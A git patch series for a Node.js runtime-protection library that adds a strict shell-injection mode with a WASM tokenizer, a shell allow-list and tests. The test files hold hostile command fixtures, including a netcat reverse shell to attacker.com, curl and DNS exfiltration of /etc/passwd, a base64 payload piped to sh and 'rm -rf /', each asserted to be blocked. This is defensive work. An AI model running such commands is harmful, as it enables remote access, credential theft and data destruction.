From f53eca6ce9a0d57fb7e637708d9277e3373632b3 Mon Sep 17 00:00:00 2001 From: Hans Ott Date: Fri, 6 Feb 2026 23:03:02 +0100 Subject: [PATCH 1/2] Introduce strict mode for shell injection --- library/agent/hooks/InterceptorResult.ts | 12 + .../hooks/onInspectionInterceptorResult.ts | 5 + library/helpers/isShellInjectionStrictMode.ts | 10 + library/sinks/ChildProcess.strict.test.ts | 314 ++++++++++++++++++ library/sinks/ChildProcess.ts | 48 +++ .../checkContextForShellInjection.ts | 10 +- .../detectShellInjectionWasm.test.ts | 152 +++++++++ .../detectShellInjectionWasm.ts | 41 +++ .../isUnsupportedShell.test.ts | 34 ++ .../shell-injection/isUnsupportedShell.ts | 14 + 10 files changed, 639 insertions(+), 1 deletion(-) create mode 100644 library/helpers/isShellInjectionStrictMode.ts create mode 100644 library/sinks/ChildProcess.strict.test.ts create mode 100644 library/vulnerabilities/shell-injection/detectShellInjectionWasm.test.ts create mode 100644 library/vulnerabilities/shell-injection/detectShellInjectionWasm.ts create mode 100644 library/vulnerabilities/shell-injection/isUnsupportedShell.test.ts create mode 100644 library/vulnerabilities/shell-injection/isUnsupportedShell.ts diff --git a/library/agent/hooks/InterceptorResult.ts b/library/agent/hooks/InterceptorResult.ts index e32ab096d..cc9c608d4 100644 --- a/library/agent/hooks/InterceptorResult.ts +++ b/library/agent/hooks/InterceptorResult.ts @@ -21,10 +21,16 @@ export type IdorViolationResult = { message: string; }; +export type ShellViolationResult = { + shellViolation: true; + message: string; +}; + export type InterceptorResult = | AttackResult | BlockOutboundConnectionResult | IdorViolationResult + | ShellViolationResult | void; export function isBlockOutboundConnectionResult( @@ -44,3 +50,9 @@ export function isIdorViolationResult( ): result is IdorViolationResult { return isPlainObject(result) && "idorViolation" in result; } + +export function isShellViolationResult( + result: InterceptorResult +): result is ShellViolationResult { + return isPlainObject(result) && "shellViolation" in result; +} diff --git a/library/agent/hooks/onInspectionInterceptorResult.ts b/library/agent/hooks/onInspectionInterceptorResult.ts index 8f9e7261e..896c69740 100644 --- a/library/agent/hooks/onInspectionInterceptorResult.ts +++ b/library/agent/hooks/onInspectionInterceptorResult.ts @@ -10,6 +10,7 @@ import { isAttackResult, isBlockOutboundConnectionResult, isIdorViolationResult, + isShellViolationResult, } from "./InterceptorResult"; import type { PartialWrapPackageInfo } from "./WrapPackageInfo"; import { cleanError } from "../../helpers/cleanError"; @@ -48,6 +49,10 @@ export function onInspectionInterceptorResult( throw cleanError(new Error(result.message)); } + if (isShellViolationResult(result) && !isBypassedIP) { + throw cleanError(new Error(result.message)); + } + if (isBlockOutboundConnectionResult(result) && !isBypassedIP) { throw cleanError( new Error( diff --git a/library/helpers/isShellInjectionStrictMode.ts b/library/helpers/isShellInjectionStrictMode.ts new file mode 100644 index 000000000..11a366386 --- /dev/null +++ b/library/helpers/isShellInjectionStrictMode.ts @@ -0,0 +1,10 @@ +import { envToBool } from "./envToBool"; + +/** + * Check if the shell injection strict mode is enabled via environment variable. + * When enabled, Zen uses the WASM-based shell injection detection and rejects non-/bin/sh shells. + * - AIKIDO_SHELL_INJECTION_STRICT_MODE=true or AIKIDO_SHELL_INJECTION_STRICT_MODE=1 + */ +export function isShellInjectionStrictMode(): boolean { + return envToBool(process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE); +} diff --git a/library/sinks/ChildProcess.strict.test.ts b/library/sinks/ChildProcess.strict.test.ts new file mode 100644 index 000000000..6ae5a363c --- /dev/null +++ b/library/sinks/ChildProcess.strict.test.ts @@ -0,0 +1,314 @@ +import * as t from "tap"; +import { Context, runWithContext } from "../agent/Context"; +import { ChildProcess } from "./ChildProcess"; +import { createTestAgent } from "../helpers/createTestAgent"; + +const unsafeContext: Context = { + remoteAddress: "::1", + method: "POST", + url: "http://localhost:4000", + query: {}, + headers: {}, + body: { + file: { + matches: "`echo .`", + }, + }, + cookies: {}, + routeParams: {}, + source: "express", + route: "/posts/:id", +}; + +function throws(fn: () => void, wanted: string | RegExp) { + const error = t.throws(fn); + if (error instanceof Error) { + t.match(error.message, wanted); + } +} + +t.beforeEach(() => { + delete process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE; +}); + +t.test("strict mode", async (t) => { + const agent = createTestAgent({ + serverless: "lambda", + }); + + agent.start([new ChildProcess()]); + + const { exec, execSync, spawn, spawnSync, execFile, execFileSync } = + require("child_process") as typeof import("child_process"); + + // Unsupported shells are blocked even without malicious input + + t.test("rejects /bin/zsh via spawn even without injection", async () => { + process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE = "true"; + + runWithContext(unsafeContext, () => { + throws( + () => spawn("ls", [], { shell: "/bin/zsh" }).unref(), + /Zen strict mode: shell "\/bin\/zsh" is not supported/ + ); + }); + }); + + t.test("rejects /bin/bash via spawnSync even without injection", async () => { + process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE = "true"; + + runWithContext(unsafeContext, () => { + throws( + () => spawnSync("ls", [], { shell: "/bin/bash" }), + /Zen strict mode: shell "\/bin\/bash" is not supported/ + ); + }); + }); + + t.test("rejects /bin/zsh via execSync even without injection", async () => { + process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE = "true"; + + runWithContext(unsafeContext, () => { + throws( + () => execSync("ls", { shell: "/bin/zsh" }), + /Zen strict mode: shell "\/bin\/zsh" is not supported/ + ); + }); + }); + + t.test( + "rejects /usr/bin/fish via execFile even without injection", + async () => { + process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE = "true"; + + runWithContext(unsafeContext, () => { + throws( + () => + execFile( + "ls", + [], + { shell: "/usr/bin/fish" }, + (err, stdout, stderr) => {} + ).unref(), + /Zen strict mode: shell "\/usr\/bin\/fish" is not supported/ + ); + }); + } + ); + + t.test( + "rejects /bin/bash via execFileSync even without injection", + async () => { + process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE = "true"; + + runWithContext(unsafeContext, () => { + throws( + () => execFileSync("ls", [], { shell: "/bin/bash" }), + /Zen strict mode: shell "\/bin\/bash" is not supported/ + ); + }); + } + ); + + // Allowed shells pass through + + t.test("allows shell: true", async () => { + process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE = "true"; + + runWithContext(unsafeContext, () => { + spawn("ls", ["-la"], { shell: true }).unref(); + spawnSync("ls", ["-la"], { shell: true }); + }); + }); + + t.test("allows exec without explicit shell option", async () => { + process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE = "true"; + + runWithContext(unsafeContext, () => { + exec("ls", (err, stdout, stderr) => {}).unref(); + execSync("ls"); + }); + }); + + // Without strict mode, unsupported shells are allowed + + t.test("does not reject shells when strict mode is off", async () => { + runWithContext(unsafeContext, () => { + spawn("ls", ["-la"], { shell: "/bin/bash" }).unref(); + spawnSync("ls", ["-la"], { shell: "/bin/zsh" }); + }); + }); + + // CVE-style injection detection via WASM tokenizer + + t.test("detects nslookup semicolon cat /etc/passwd", async () => { + process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE = "true"; + + runWithContext( + { ...unsafeContext, body: { host: "google.com;cat /etc/passwd" } }, + () => { + throws( + () => + spawn("nslookup google.com;cat /etc/passwd", [], { + shell: true, + }).unref(), + "Zen has blocked a shell injection: child_process.spawn(...) originating from body.host" + ); + } + ); + }); + + t.test("detects command substitution $(whoami)", async () => { + process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE = "true"; + + runWithContext({ ...unsafeContext, body: { host: "$(whoami)" } }, () => { + throws( + () => execSync("nslookup $(whoami)"), + "Zen has blocked a shell injection: child_process.execSync(...) originating from body.host" + ); + }); + }); + + t.test("detects pipe to reverse shell", async () => { + process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE = "true"; + + runWithContext( + { + ...unsafeContext, + body: { host: "google.com|nc attacker.com 4444 -e /bin/sh" }, + }, + () => { + throws( + () => + spawn( + "nslookup google.com|nc attacker.com 4444 -e /bin/sh", + [], + { shell: true } + ).unref(), + "Zen has blocked a shell injection: child_process.spawn(...) originating from body.host" + ); + } + ); + }); + + t.test("detects $IFS space bypass", async () => { + process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE = "true"; + + runWithContext( + { ...unsafeContext, body: { path: "${IFS}/etc/passwd" } }, + () => { + throws( + () => execSync("cat${IFS}/etc/passwd"), + "Zen has blocked a shell injection: child_process.execSync(...) originating from body.path" + ); + } + ); + }); + + t.test("detects base64 decode pipe to sh", async () => { + process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE = "true"; + + runWithContext( + { + ...unsafeContext, + body: { payload: "Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh" }, + }, + () => { + throws( + () => execSync("echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh"), + "Zen has blocked a shell injection: child_process.execSync(...) originating from body.payload" + ); + } + ); + }); + + t.test("detects DNS exfiltration via subdomain", async () => { + process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE = "true"; + + runWithContext( + { + ...unsafeContext, + body: { + host: "$(cat /etc/passwd | base64 | head -c 60).attacker.com", + }, + }, + () => { + throws( + () => + execSync( + "nslookup $(cat /etc/passwd | base64 | head -c 60).attacker.com" + ), + "Zen has blocked a shell injection: child_process.execSync(...) originating from body.host" + ); + } + ); + }); + + t.test("detects curl data exfiltration", async () => { + process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE = "true"; + + runWithContext( + { + ...unsafeContext, + body: { url: "http://attacker.com/exfil -d @/etc/passwd" }, + }, + () => { + throws( + () => execSync("curl http://attacker.com/exfil -d @/etc/passwd"), + "Zen has blocked a shell injection: child_process.execSync(...) originating from body.url" + ); + } + ); + }); + + // Safe patterns should not trigger + + t.test("safe: single-quoted user input", async () => { + process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE = "true"; + + runWithContext( + { ...unsafeContext, body: { host: "example.com" } }, + () => { + execSync("nslookup 'example.com'"); + } + ); + }); + + t.test("safe: plain hostname", async () => { + process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE = "true"; + + runWithContext( + { ...unsafeContext, body: { host: "example.com" } }, + () => { + execSync("nslookup example.com"); + } + ); + }); + + t.test("safe: plain IP address", async () => { + process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE = "true"; + + runWithContext( + { ...unsafeContext, body: { ip: "192.168.1.1" } }, + () => { + execSync("ping -c 4 192.168.1.1"); + } + ); + }); + + // Failed to tokenize — blocked in strict mode + + t.test("blocks command with unclosed quote (failed to tokenize)", async () => { + process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE = "true"; + + runWithContext( + { ...unsafeContext, body: { input: "unclosed" } }, + () => { + throws( + () => execSync("echo 'unclosed"), + "Zen has blocked a shell injection: child_process.execSync(...) originating from body.input" + ); + } + ); + }); +}); diff --git a/library/sinks/ChildProcess.ts b/library/sinks/ChildProcess.ts index 4120606f6..5e96cdcd5 100644 --- a/library/sinks/ChildProcess.ts +++ b/library/sinks/ChildProcess.ts @@ -4,8 +4,10 @@ import { InterceptorResult } from "../agent/hooks/InterceptorResult"; import { wrapExport } from "../agent/hooks/wrapExport"; import { Wrapper } from "../agent/Wrapper"; import { isPlainObject } from "../helpers/isPlainObject"; +import { isShellInjectionStrictMode } from "../helpers/isShellInjectionStrictMode"; import { checkContextForPathTraversal } from "../vulnerabilities/path-traversal/checkContextForPathTraversal"; import { checkContextForShellInjection } from "../vulnerabilities/shell-injection/checkContextForShellInjection"; +import { isUnsupportedShell } from "../vulnerabilities/shell-injection/isUnsupportedShell"; const PATH_PREFIXES = [ "/bin/", @@ -90,6 +92,11 @@ export class ChildProcess implements Wrapper { return undefined; } + const shellViolation = this.checkShellViolation(args, name); + if (shellViolation) { + return shellViolation; + } + if (args.length > 0 && typeof args[0] === "string") { let command = args[0]; @@ -116,6 +123,11 @@ export class ChildProcess implements Wrapper { return undefined; } + const shellViolation = this.checkShellViolation(args, name); + if (shellViolation) { + return shellViolation; + } + if (args.length > 0 && typeof args[0] === "string") { let command = args[0]; @@ -138,6 +150,11 @@ export class ChildProcess implements Wrapper { return undefined; } + const shellViolation = this.checkShellViolation(args, name); + if (shellViolation) { + return shellViolation; + } + if (args.length > 0 && typeof args[0] === "string") { const command = args[0]; @@ -182,4 +199,35 @@ export class ChildProcess implements Wrapper { (arg.shell === true || typeof arg.shell === "string") ); } + + private getShellOption(args: unknown[]): string | true | undefined { + for (const arg of args) { + if ( + isPlainObject(arg) && + "shell" in arg && + (arg.shell === true || typeof arg.shell === "string") + ) { + return arg.shell as string | true; + } + } + + return undefined; + } + + private checkShellViolation(args: unknown[], name: string) { + if (!isShellInjectionStrictMode()) { + return undefined; + } + + const shell = this.getShellOption(args); + + if (shell && isUnsupportedShell(shell)) { + return { + shellViolation: true as const, + message: `Zen strict mode: shell "${shell}" is not supported. Only /bin/sh is allowed when AIKIDO_SHELL_INJECTION_STRICT_MODE is enabled.`, + }; + } + + return undefined; + } } diff --git a/library/vulnerabilities/shell-injection/checkContextForShellInjection.ts b/library/vulnerabilities/shell-injection/checkContextForShellInjection.ts index 17afc2138..8311d7089 100644 --- a/library/vulnerabilities/shell-injection/checkContextForShellInjection.ts +++ b/library/vulnerabilities/shell-injection/checkContextForShellInjection.ts @@ -3,7 +3,9 @@ import { InterceptorResult } from "../../agent/hooks/InterceptorResult"; import { getPathsToPayload } from "../../helpers/attackPath"; import { extractStringsFromUserInputCached } from "../../helpers/extractStringsFromUserInputCached"; import { getSourceForUserString } from "../../helpers/getSourceForUserString"; +import { isShellInjectionStrictMode } from "../../helpers/isShellInjectionStrictMode"; import { detectShellInjection } from "./detectShellInjection"; +import { detectShellInjectionWasm } from "./detectShellInjectionWasm"; /** * This function goes over all the different input types in the context and checks @@ -18,8 +20,14 @@ export function checkContextForShellInjection({ operation: string; context: Context; }): InterceptorResult { + const strictMode = isShellInjectionStrictMode(); + for (const str of extractStringsFromUserInputCached(context)) { - if (detectShellInjection(command, str)) { + const isInjection = strictMode + ? detectShellInjectionWasm(command, str) + : detectShellInjection(command, str); + + if (isInjection) { const source = getSourceForUserString(context, str); if (source) { return { diff --git a/library/vulnerabilities/shell-injection/detectShellInjectionWasm.test.ts b/library/vulnerabilities/shell-injection/detectShellInjectionWasm.test.ts new file mode 100644 index 000000000..ab2a52598 --- /dev/null +++ b/library/vulnerabilities/shell-injection/detectShellInjectionWasm.test.ts @@ -0,0 +1,152 @@ +import * as t from "tap"; +import { detectShellInjectionWasm } from "./detectShellInjectionWasm"; + +t.test("it detects semicolon command chaining in nslookup", async () => { + t.equal( + detectShellInjectionWasm( + "nslookup google.com;cat /etc/passwd", + "google.com;cat /etc/passwd" + ), + true + ); +}); + +t.test("it detects $() command substitution in nslookup", async () => { + t.equal(detectShellInjectionWasm("nslookup $(whoami)", "$(whoami)"), true); +}); + +t.test("it detects backtick command substitution in nslookup", async () => { + t.equal(detectShellInjectionWasm("nslookup `id`", "`id`"), true); +}); + +t.test("it detects pipe to reverse shell via netcat", async () => { + t.equal( + detectShellInjectionWasm( + "nslookup google.com|nc attacker.com 4444 -e /bin/sh", + "google.com|nc attacker.com 4444 -e /bin/sh" + ), + true + ); +}); + +t.test("it detects base64 encoded command piped to sh", async () => { + t.equal( + detectShellInjectionWasm( + "echo Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh", + "Y2F0IC9ldGMvcGFzc3dk | base64 -d | sh" + ), + true + ); +}); + +t.test("it detects $IFS space bypass", async () => { + t.equal( + detectShellInjectionWasm("cat${IFS}/etc/passwd", "${IFS}/etc/passwd"), + true + ); +}); + +t.test("it detects semicolon chaining in ping", async () => { + t.equal( + detectShellInjectionWasm( + "ping -c 1 8.8.8.8; rm -rf /", + "8.8.8.8; rm -rf /" + ), + true + ); +}); + +t.test("it detects variable expansion in double quotes", async () => { + t.equal(detectShellInjectionWasm('echo "$USER"', "$USER"), true); +}); + +t.test("it detects DNS exfiltration via command substitution in subdomain", async () => { + t.equal( + detectShellInjectionWasm( + "nslookup $(cat /etc/passwd | base64 | head -c 60).attacker.com", + "$(cat /etc/passwd | base64 | head -c 60).attacker.com" + ), + true + ); +}); + +t.test("it detects curl data exfiltration with extra arguments", async () => { + t.equal( + detectShellInjectionWasm( + "curl http://attacker.com/exfil -d @/etc/passwd", + "http://attacker.com/exfil -d @/etc/passwd" + ), + true + ); +}); + +t.test("it blocks unclosed single quote (failed to tokenize)", async () => { + t.equal(detectShellInjectionWasm("echo 'unclosed", "unclosed"), true); +}); + +t.test("it blocks unclosed double quote (failed to tokenize)", async () => { + t.equal(detectShellInjectionWasm('echo "unclosed', "unclosed"), true); +}); + +t.test("it does not flag plain hostname in nslookup", async () => { + t.equal(detectShellInjectionWasm("nslookup example.com", "example.com"), false); +}); + +t.test("it does not flag IP address in ping", async () => { + t.equal( + detectShellInjectionWasm("ping -c 4 192.168.1.1", "192.168.1.1"), + false + ); +}); + +t.test("it does not flag URL in curl", async () => { + t.equal( + detectShellInjectionWasm( + "curl -s https://api.example.com/users/123", + "https://api.example.com/users/123" + ), + false + ); +}); + +t.test("it does not flag single-quoted input", async () => { + t.equal(detectShellInjectionWasm("echo 'safe'", "safe"), false); +}); + +t.test("it does not flag email address", async () => { + t.equal( + detectShellInjectionWasm( + "echo token | docker login --username john.doe@acme.com --password-stdin hub.acme.com", + "john.doe@acme.com" + ), + false + ); +}); + +t.test("it does not flag comma-separated list", async () => { + t.equal( + detectShellInjectionWasm( + "command -tags php,laravel,drupal,phpmyadmin,symfony -stats ", + "php,laravel,drupal,phpmyadmin,symfony" + ), + false + ); +}); + +t.test("it does not flag domain name", async () => { + t.equal( + detectShellInjectionWasm( + "binary --domain www.example.com", + "www.example.com" + ), + false + ); +}); + +t.test("it ignores single character input", async () => { + t.equal(detectShellInjectionWasm("ls *", "*"), false); +}); + +t.test("it ignores user input not present in command", async () => { + t.equal(detectShellInjectionWasm("ls", "$(echo)"), false); +}); diff --git a/library/vulnerabilities/shell-injection/detectShellInjectionWasm.ts b/library/vulnerabilities/shell-injection/detectShellInjectionWasm.ts new file mode 100644 index 000000000..d770fb3ba --- /dev/null +++ b/library/vulnerabilities/shell-injection/detectShellInjectionWasm.ts @@ -0,0 +1,41 @@ +import { wasm_detect_shell_injection } from "../../internals/zen_internals"; + +const SAFE = 0; +const INJECTION_DETECTED = 1; +const FAILED_TO_TOKENIZE = 3; + +/** + * Detects shell injection using the Rust/WASM tokenizer-based algorithm. + * This provides more accurate detection than the TypeScript-based approach + * by tokenizing the shell command and checking if user input changes the token structure. + * + * In strict mode, commands that fail to tokenize are also blocked — if the + * tokenizer can't parse the syntax, it may be a bypass attempt or non-POSIX syntax. + */ +export function detectShellInjectionWasm( + command: string, + userInput: string +): boolean { + // Block single ~ character (tilde expansion) + if (userInput === "~") { + if (command.length > 1 && command.includes("~")) { + return true; + } + } + + if (userInput.length <= 1) { + return false; + } + + if (userInput.length > command.length) { + return false; + } + + if (!command.includes(userInput)) { + return false; + } + + const result = wasm_detect_shell_injection(command, userInput); + + return result === INJECTION_DETECTED || result === FAILED_TO_TOKENIZE; +} diff --git a/library/vulnerabilities/shell-injection/isUnsupportedShell.test.ts b/library/vulnerabilities/shell-injection/isUnsupportedShell.test.ts new file mode 100644 index 000000000..3531d6fd8 --- /dev/null +++ b/library/vulnerabilities/shell-injection/isUnsupportedShell.test.ts @@ -0,0 +1,34 @@ +import * as t from "tap"; +import { isUnsupportedShell } from "./isUnsupportedShell"; + +t.test("true (Node.js default /bin/sh) is allowed", async () => { + t.equal(isUnsupportedShell(true), false); +}); + +t.test("sh is allowed", async () => { + t.equal(isUnsupportedShell("sh"), false); +}); + +t.test("/bin/sh is allowed", async () => { + t.equal(isUnsupportedShell("/bin/sh"), false); +}); + +t.test("/bin/bash is unsupported", async () => { + t.equal(isUnsupportedShell("/bin/bash"), true); +}); + +t.test("bash is unsupported", async () => { + t.equal(isUnsupportedShell("bash"), true); +}); + +t.test("/bin/zsh is unsupported", async () => { + t.equal(isUnsupportedShell("/bin/zsh"), true); +}); + +t.test("/usr/bin/zsh is unsupported", async () => { + t.equal(isUnsupportedShell("/usr/bin/zsh"), true); +}); + +t.test("/usr/bin/fish is unsupported", async () => { + t.equal(isUnsupportedShell("/usr/bin/fish"), true); +}); diff --git a/library/vulnerabilities/shell-injection/isUnsupportedShell.ts b/library/vulnerabilities/shell-injection/isUnsupportedShell.ts new file mode 100644 index 000000000..3fd8d229b --- /dev/null +++ b/library/vulnerabilities/shell-injection/isUnsupportedShell.ts @@ -0,0 +1,14 @@ +const ALLOWED_SHELLS = ["sh", "/bin/sh"]; + +/** + * Returns true if the shell is not /bin/sh (the POSIX default). + * In strict mode, only /bin/sh is allowed because the WASM tokenizer targets POSIX shell. + * `true` means Node.js will use /bin/sh by default, so that's fine. + */ +export function isUnsupportedShell(shell: string | true): boolean { + if (shell === true) { + return false; + } + + return !ALLOWED_SHELLS.includes(shell); +} From 953cb554efa2a4520a4b854bfec937e58ca30437 Mon Sep 17 00:00:00 2001 From: Hans Ott Date: Fri, 6 Feb 2026 23:19:49 +0100 Subject: [PATCH 2/2] Cleanup --- library/sinks/ChildProcess.strict.test.ts | 61 ++++++------------- library/sinks/ChildProcess.ts | 8 +-- .../detectShellInjectionWasm.test.ts | 26 +++++--- .../detectShellInjectionWasm.ts | 1 - 4 files changed, 40 insertions(+), 56 deletions(-) diff --git a/library/sinks/ChildProcess.strict.test.ts b/library/sinks/ChildProcess.strict.test.ts index 6ae5a363c..192bb886b 100644 --- a/library/sinks/ChildProcess.strict.test.ts +++ b/library/sinks/ChildProcess.strict.test.ts @@ -41,8 +41,6 @@ t.test("strict mode", async (t) => { const { exec, execSync, spawn, spawnSync, execFile, execFileSync } = require("child_process") as typeof import("child_process"); - // Unsupported shells are blocked even without malicious input - t.test("rejects /bin/zsh via spawn even without injection", async () => { process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE = "true"; @@ -110,8 +108,6 @@ t.test("strict mode", async (t) => { } ); - // Allowed shells pass through - t.test("allows shell: true", async () => { process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE = "true"; @@ -130,8 +126,6 @@ t.test("strict mode", async (t) => { }); }); - // Without strict mode, unsupported shells are allowed - t.test("does not reject shells when strict mode is off", async () => { runWithContext(unsafeContext, () => { spawn("ls", ["-la"], { shell: "/bin/bash" }).unref(); @@ -139,8 +133,6 @@ t.test("strict mode", async (t) => { }); }); - // CVE-style injection detection via WASM tokenizer - t.test("detects nslookup semicolon cat /etc/passwd", async () => { process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE = "true"; @@ -180,11 +172,9 @@ t.test("strict mode", async (t) => { () => { throws( () => - spawn( - "nslookup google.com|nc attacker.com 4444 -e /bin/sh", - [], - { shell: true } - ).unref(), + spawn("nslookup google.com|nc attacker.com 4444 -e /bin/sh", [], { + shell: true, + }).unref(), "Zen has blocked a shell injection: child_process.spawn(...) originating from body.host" ); } @@ -266,49 +256,38 @@ t.test("strict mode", async (t) => { t.test("safe: single-quoted user input", async () => { process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE = "true"; - runWithContext( - { ...unsafeContext, body: { host: "example.com" } }, - () => { - execSync("nslookup 'example.com'"); - } - ); + runWithContext({ ...unsafeContext, body: { host: "example.com" } }, () => { + execSync("echo 'example.com'"); + }); }); t.test("safe: plain hostname", async () => { process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE = "true"; - runWithContext( - { ...unsafeContext, body: { host: "example.com" } }, - () => { - execSync("nslookup example.com"); - } - ); + runWithContext({ ...unsafeContext, body: { host: "example.com" } }, () => { + execSync("echo example.com"); + }); }); t.test("safe: plain IP address", async () => { process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE = "true"; - runWithContext( - { ...unsafeContext, body: { ip: "192.168.1.1" } }, - () => { - execSync("ping -c 4 192.168.1.1"); - } - ); + runWithContext({ ...unsafeContext, body: { ip: "192.168.1.1" } }, () => { + execSync("echo 192.168.1.1"); + }); }); - // Failed to tokenize — blocked in strict mode - - t.test("blocks command with unclosed quote (failed to tokenize)", async () => { - process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE = "true"; + t.test( + "blocks command with unclosed quote (failed to tokenize)", + async () => { + process.env.AIKIDO_SHELL_INJECTION_STRICT_MODE = "true"; - runWithContext( - { ...unsafeContext, body: { input: "unclosed" } }, - () => { + runWithContext({ ...unsafeContext, body: { input: "unclosed" } }, () => { throws( () => execSync("echo 'unclosed"), "Zen has blocked a shell injection: child_process.execSync(...) originating from body.input" ); - } - ); - }); + }); + } + ); }); diff --git a/library/sinks/ChildProcess.ts b/library/sinks/ChildProcess.ts index 5e96cdcd5..db95163a3 100644 --- a/library/sinks/ChildProcess.ts +++ b/library/sinks/ChildProcess.ts @@ -92,7 +92,7 @@ export class ChildProcess implements Wrapper { return undefined; } - const shellViolation = this.checkShellViolation(args, name); + const shellViolation = this.checkShellViolation(args); if (shellViolation) { return shellViolation; } @@ -123,7 +123,7 @@ export class ChildProcess implements Wrapper { return undefined; } - const shellViolation = this.checkShellViolation(args, name); + const shellViolation = this.checkShellViolation(args); if (shellViolation) { return shellViolation; } @@ -150,7 +150,7 @@ export class ChildProcess implements Wrapper { return undefined; } - const shellViolation = this.checkShellViolation(args, name); + const shellViolation = this.checkShellViolation(args); if (shellViolation) { return shellViolation; } @@ -214,7 +214,7 @@ export class ChildProcess implements Wrapper { return undefined; } - private checkShellViolation(args: unknown[], name: string) { + private checkShellViolation(args: unknown[]) { if (!isShellInjectionStrictMode()) { return undefined; } diff --git a/library/vulnerabilities/shell-injection/detectShellInjectionWasm.test.ts b/library/vulnerabilities/shell-injection/detectShellInjectionWasm.test.ts index ab2a52598..8046c8cd8 100644 --- a/library/vulnerabilities/shell-injection/detectShellInjectionWasm.test.ts +++ b/library/vulnerabilities/shell-injection/detectShellInjectionWasm.test.ts @@ -60,15 +60,18 @@ t.test("it detects variable expansion in double quotes", async () => { t.equal(detectShellInjectionWasm('echo "$USER"', "$USER"), true); }); -t.test("it detects DNS exfiltration via command substitution in subdomain", async () => { - t.equal( - detectShellInjectionWasm( - "nslookup $(cat /etc/passwd | base64 | head -c 60).attacker.com", - "$(cat /etc/passwd | base64 | head -c 60).attacker.com" - ), - true - ); -}); +t.test( + "it detects DNS exfiltration via command substitution in subdomain", + async () => { + t.equal( + detectShellInjectionWasm( + "nslookup $(cat /etc/passwd | base64 | head -c 60).attacker.com", + "$(cat /etc/passwd | base64 | head -c 60).attacker.com" + ), + true + ); + } +); t.test("it detects curl data exfiltration with extra arguments", async () => { t.equal( @@ -89,7 +92,10 @@ t.test("it blocks unclosed double quote (failed to tokenize)", async () => { }); t.test("it does not flag plain hostname in nslookup", async () => { - t.equal(detectShellInjectionWasm("nslookup example.com", "example.com"), false); + t.equal( + detectShellInjectionWasm("nslookup example.com", "example.com"), + false + ); }); t.test("it does not flag IP address in ping", async () => { diff --git a/library/vulnerabilities/shell-injection/detectShellInjectionWasm.ts b/library/vulnerabilities/shell-injection/detectShellInjectionWasm.ts index d770fb3ba..6870101fa 100644 --- a/library/vulnerabilities/shell-injection/detectShellInjectionWasm.ts +++ b/library/vulnerabilities/shell-injection/detectShellInjectionWasm.ts @@ -1,6 +1,5 @@ import { wasm_detect_shell_injection } from "../../internals/zen_internals"; -const SAFE = 0; const INJECTION_DETECTED = 1; const FAILED_TO_TOKENIZE = 3;